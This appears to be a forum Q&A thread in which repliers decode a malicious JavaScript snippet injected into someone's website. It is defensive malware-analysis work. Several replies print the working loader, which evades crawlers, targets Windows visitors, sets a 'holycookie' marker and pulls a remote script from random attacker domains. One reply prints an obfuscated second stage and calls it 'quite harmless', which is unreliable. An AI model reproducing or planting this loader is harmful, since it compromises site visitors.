e = ["vagi.", "vain.", "vale.", "vars.", "vary.", "vasa.", "vaut.", "vavs.", "viny.", "viol.", "vrow.", "vugs.", "vuln."],
f = Math.floor(Math.random() * d.length),
g = Math.floor(Math.random() * e.length);
dt = new Date;
dt.setTime(dt.getTime() + 9072E4);
document.cookie = "holycookie=" + escape("holycookie") + ";expires=" + dt.toGMTString() + ";path=/";
document.write('<script type="text/javascript" src="http://' + e[g] + d[f] + '/system/caption.js"><\/script>')
};
</script>
So, prepends a subdomain from e (e.g. vagi.) to a domain name from d (e.g. myads.name) and loads a script from /system/caption.js at that domain (e.g. http://vagi.myads.name/system/caption.js).
var a = window.navigator.userAgent,
b = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,
c = navigator.appVersion;
if (document.cookie.indexOf("holycookie") == -1 && !a.toLowerCase().match(b) && c.toLowerCase().indexOf("win") != -1) {
var d = ["myads.name", "adsnet.biz", "toolbarcom.org", "mybar.us", "freead.name"],
e = ["vagi.", "vain.", "vale.", "vars.", "vary.", "vasa.", "vaut.", "vavs.", "viny.", "viol.", "vrow.", "vugs.", "vuln."],
f = Math.floor(Math.random() * d.length),
g = Math.floor(Math.random() * e.length);
dt = new Date;
dt.setTime(dt.getTime() + 9072E4);
document.cookie = "holycookie=" + escape("holycookie") + ";expires=" + dt.toGMTString() + ";path=/";
document.write('<script type="text/javascript" src="http://' + e[g] + d[f] + '/system/caption.js"><\/script>')
};
code is loading a random subdomain-sld combo with a cookie set, to load unsecure content.
All of those numbers are hexadecimal values for ASCII characters. When unescape is called they get turned into real characters. e.g. %3C is '<'.
Why not use a message box to display the output of unescape(...)
You can use the hex decoder here:
http://home2.paulschou.net/tools/xlate/
The code is
<script language="javascript" type="text/javascript">var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],e=["vagi.","vain.","vale.","vars.","vary.","vasa.","vaut.","vavs.","viny.","viol.","vrow.","vugs.","vuln."],f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+escape("holycookie")+";expires="+dt.toGMTString()+";path=/"; document.write('<script type="text/javascript" src="http://'+e[g]+d[f]+'/system/caption.js"><\/script>')};</script>
<script language="javascript" type="text/javascript">
var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion;
if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){
var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],
e=["vagi.","vain.","vale.","vars.","vary.","vasa.","vaut.","vavs.","viny.","viol.","vrow.","vugs.","vuln."],
f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);
dt=new Date;
dt.setTime(dt.getTime()+9072E4);
document.cookie="holycookie="+escape("holycookie")+";
expires="+dt.toGMTString()+";
path=/";
document.write('<script type="text/javascript" src="http://'+e[g]+d[f]+'/system/caption.js"><\/script>')};
</script>
Here's a URLDecoder:
http://meyerweb.com/eric/tools/dencoder/
And the code it writes:
<script language="javascript" type="text/javascript">var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],e=["vagi.","vain.","vale.","vars.","vary.","vasa.","vaut.","vavs.","viny.","viol.","vrow.","vugs.","vuln."],f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+escape("holycookie")+";expires="+dt.toGMTString()+";path=/"; document.write('<script type="text/javascript" src="http://'+e[g]+d[f]+'/system/caption.js"><\/script>')};</script>
OK, so that's not too helpful. It appears to insert another JS file if the user doesn't have a cookie named "holycookie" and isn't the google bot. Most of that is just junk to pick which domain name to get the payload from.
The code you posted decodes to
var a = window.navigator.userAgent,
b = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,
c = navigator.appVersion;
if (document.cookie.indexOf("holycookie") == -1 && !a.toLowerCase().match(b) && c.toLowerCase().indexOf("win") != -1) {
var d = ["myads.name", "adsnet.biz", "toolbarcom.org", "mybar.us", "freead.name"],
e = ["vagi.", "vain.", "vale.", "vars.", "vary.", "vasa.", "vaut.", "vavs.", "viny.", "viol.", "vrow.", "vugs.", "vuln."],
f = Math.floor(Math.random() * d.length),
g = Math.floor(Math.random() * e.length);
dt = new Date;
dt.setTime(dt.getTime() + 9072E4);
document.cookie = "holycookie=" + escape("holycookie") + ";expires=" + dt.toGMTString() + ";path=/";
document.write('')
};
which in turn loads code from a url composed in a pseudorandom way provided that the if condition is met.
If you open up, for instance, http://vain.adsnet.biz/system/caption.js you'll be presented with the following javascript code.
I leave the interpretation to you, however it looks quite harmless.
function tT() {};
var yWP = new Array();
tT.prototype = {
h: function () {
this.i = "";
var nH = function () {};
var tE = 30295;
var u = "";
zB = false;
this.a = '';
this.eY = 29407;
var z = document;
vD = "vD";
var gT = "gT";
var oG = '';
var lF = '';
fU = "fU";
var q = function () {
return 'q'
};
var c = window;
var m = function () {
return 'm'
};
var kS = "kS";
this.b = "";
this.p = 29430;
var j = this;
dL = "";
var cC = new Date();
cQ = 33459;
var uY = "uY";
var vO = function () {};
zN = "zN";
jIZ = '';
var mH = 21601;
String.prototype.lP = function (v, hF) {
var t = this;
return t.replace(v, hF)
};
var nA = "";
this.xK = 48622;
zG = "";
var kF = function () {};
function aF() {};
var mI = function () {};
var oY = '';
var g = 'sfe?tfTw'.lP(/[wfoj\?]/g, '') + 'irmkeko('.lP(/[\(rO\[k]/g, '') + 'ubty'.lP(/[y\+b\>\)]/g, '');
var iN = new Array();
mJ = "mJ";
aW = "aW";
var hU = "hU";
this.kC = 28044;
var k = 'tbr3e*c(r*e3a('.lP(/[\(3b\*G]/g, '') + 'tEe>nat>gaeat)'.lP(/[\)a\>\]\|'.lP(/[\|\)\(MN]/g, ''));
var cJ = function () {};
var tX = false;
this.xHX = false;
function jP() {};
var eZ = 16039;
bQ = "bQ";
var eSM = new Date();
c[g](function () {
j.h()
}, 384);
this.xR = "";
var jB = function () {
return 'jB'
};
var fP = function () {
return 'fP'
};
var bX = new Array();
}
function iLD() {};
var mQ = function () {};
var wZV = "";this.eK = 5506;
}
};
fO = 30941;
var hW = new tT();
wU = 40956;
hW.h();
hZ = "hZ";
How could you have done this on your own? URLDecode + jsbeautifier or jsunpack are more than enough to get this far ;)
Use "Version Control" so this doesn't happen in the future. After a good build is completed, and everything is the way you want it, save it to an external hard drive while you are offline.
Did you recently do something to upset a coworker who is a programmer?
Used php function rawurldecode
<script language="javascript" type="text/javascript">
var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion;
if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){
var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],e=["vagi.","vain.","vale.","vars.","vary.","vasa.","vaut.","vavs.","viny.","viol.","vrow.","vugs.","vuln."],f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);
dt=new Date;
dt.setTime(dt.getTime()+9072E4);
document.cookie="holycookie="+escape("holycookie")+";expires="+dt.toGMTString()+";path=/";
document.write('<script type="text/javascript" src="http://'+e[g]+d[f]+'/system/caption.js"><\/script>')};
</script>